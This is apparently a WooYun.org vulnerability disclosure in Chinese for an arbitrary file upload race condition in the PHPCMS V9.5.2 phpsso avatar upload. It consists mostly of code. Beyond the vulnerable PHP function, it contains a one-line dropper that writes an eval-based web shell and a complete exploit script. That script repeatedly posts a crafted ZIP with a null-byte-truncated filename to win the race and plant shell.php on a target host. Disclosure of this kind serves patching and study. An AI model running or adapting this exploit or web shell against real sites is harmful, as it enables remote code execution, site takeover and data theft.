WooYun.org

<?php


 if(isset($_GET['src'])){


 	copy($_GET['src'],$_GET['dst']);


 	//...


 	unlink($_GET['dst']);


 	//...


 }


?>

猛兽放进室内：copy($_GET['src'],$_GET['dst']);

这条猛兽不安全,杀之：unlink($_GET['dst']);

炸药包：$_GET['dst']-->此炸药包非彼炸药包,此炸药包的作用是生成恶意文件 :-)

copy($_GET['src'],$_GET['dst']);

public function uploadavatar() {


		


		//根据用户id创建文件夹


		if(isset($this->data['uid']) && isset($this->data['avatardata'])) {


			$this->uid = $this->data['uid'];


			$this->avatardata = $this->data['avatardata'];


		} else {


			exit('0');


		}


		


		$dir1 = ceil($this->uid / 10000);


		$dir2 = ceil($this->uid % 10000 / 1000);


		


		//创建图片存储文件夹


		$avatarfile = pc_base::load_config('system', 'upload_path').'avatar/';


		$dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';


		if(!file_exists($dir)) {


			mkdir($dir, 0777, true);


		}


		//存储flashpost图片


		$filename = $dir.$this->uid.'.zip';


		file_put_contents($filename, $this->avatardata);


		


		pc_base::load_sys_func('dir');


		//解压缩文件


		pc_base::load_app_class('pclzip', 'phpsso', 0);


		$archive = new PclZip($filename);


		$archive->allow_ext = array('jpg');


		$list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);


		


		//判断文件安全，删除压缩包和非jpg图片


		$avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');


		$files = glob($dir."*");


		foreach($files as $_files) {


			if(is_dir($_files)) dir_delete($_files);


			if(!in_array(basename($_files), $avatararr)) @unlink($_files);


		}


		if($handle = opendir($dir)) {


		    while(false !== ($file = readdir($handle))) {


				if($file !== '.' && $file !== '..') {


					if(!in_array($file, $avatararr)) {


						@unlink($dir.$file);


					} else {


						$info = @getimagesize($dir.$file);


						if(!$info || $info[2] !=2) {


							@unlink($dir.$file);


						}


					}


				}


		    }


		    closedir($handle);    


		}


		$this->db->update(array('avatar'=>1), array('uid'=>$this->uid));


		exit('1');


	}

$archive->allow_ext = array('jpg');

$archive = new PclZip($filename);


exit('zanting....');//我们添加的调试代码


$archive->allow_ext = array('jpg');


$list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);

<?php fputs(fopen('../../../../shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

<?php


/**


 * Created by felixk3y


 * Date: 14-01-10


 * Name: PHPCMS V9.5.2 Arbitrary File Upload Exploit...


 * Blog: http://**.**.**.**/rootsafe


 */


 error_reporting(7);


 if($argc<2){


 	print "\n\tUsage:exp.php **.**.**.**\n";


 	exit();


 }


 $num = 0;


 $loop = 0;


 $host = $argv[1];


 $posts = post();


 $shell = "/phpcms/phpsso_server/uploadfile/shell.php";//生成shell的地址


 $tmpfile = "/phpcms/phpsso_server/uploadfile/avatar/1/1/1/1.php";//临时的php文件,后面会被删除


 //先访问临时数据包


 while(++$loop<6){


	 echo "正在进行第".$loop."轮尝试...\n";


	 while(++$num<11){


		 echo "正在进行第".$num."次尝试访问临时文件...\n";


		_get($host,$tmpfile);


	 }


	 $num = 0;


	 while(++$num<51){


		echo "正在进行第".$num."次提交ZIP数据包同时试访问临时文件...\n";


		send_http($host,$posts);//正常提交数据包


		//if($num%2==0){


			_get($host,$tmpfile);


		//}


	 }


	 $num = 0;


	 while(++$num<11){


		 echo "正在进行第".$num."次尝试访问临时文件...\n";


		_get($host,$tmpfile);


	 }


	 $num = 0;


 }


 $res = _get($host,$shell);


 if(preg_match('/200 OK/',$res)) {


	echo "--->Success!\n\n";


 }else{


	echo "------->Failed!\n\n";


 }


 function post(){


	 $asc = hex2asc("00");//目的是截断1.php.php.jpg为1.php


	 $repstr = "php".$asc."php";


	 $data = "";


	 $fp = fopen('phpcms.zip','r');//phpcms.zip要上传的数据包


	 while(!feof($fp)){


		$data .=fgets($fp);


	 }


	 $data = preg_replace('/php\.php/i',$repstr,$data);


	 return $data;


 }


 function hex2asc($str){//进制间转换


	$str = join('',explode('\x',$str));


	$len = strlen($str);


	for($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));


	return $data;


}


 function _get($host,$path){ //http get方法


	$headers  = "GET $path HTTP/1.1\r\n";


	$headers .= "Host: ".$host."\r\n";


	$headers .= "Connection: close\r\n\r\n";


    $fp = @fsockopen($host,80);


    fputs($fp, $headers);


	$resp = '';


	while (!feof($fp)){


		$resp .= fgets($fp, 2048);


	}


    return $resp;


 }


 function send_http($host,$post)


 {


    $data = "POST /phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=f58eCAZVBQJSVAkJA1sCWQpRAFBQVVEBDlYEAgQRWQUOVx9IRTpURxYMZlJWGgoJfmZiDUZXKm5PcjcTbgBfNgoAW0hwFAFqFC9bemJacg HTTP/1.1\r\n";


    $data .= "Host: **.**.**.**\r\n";


    $data .= "User-Agent: Googlebot/2.1 (+http://**.**.**.**/bot.html)\r\n";


    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";


    $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";


    $data .= "Accept-Encoding: gzip, deflate\r\n";


    $data .= "Connection: keep-alive\r\n";


    $data .= "Content-Length: " . strlen($post) . "\r\n\r\n";


    $data .= $post . "\r\n";


    //echo $data;


    $fp = @fsockopen($host,80,$errno,$errstr,30);


    if(!$fp){


        echo $errno.'-->'.$errstr."\n";


        exit('Could not connect to: '.$host);


    }else{


        fputs($fp, $data);


        $back = '';


        while(!feof($fp)){


            $back .= fgets($fp, 2048);


        }


        fclose($fp);


    }


    return $back;


 }


 ?>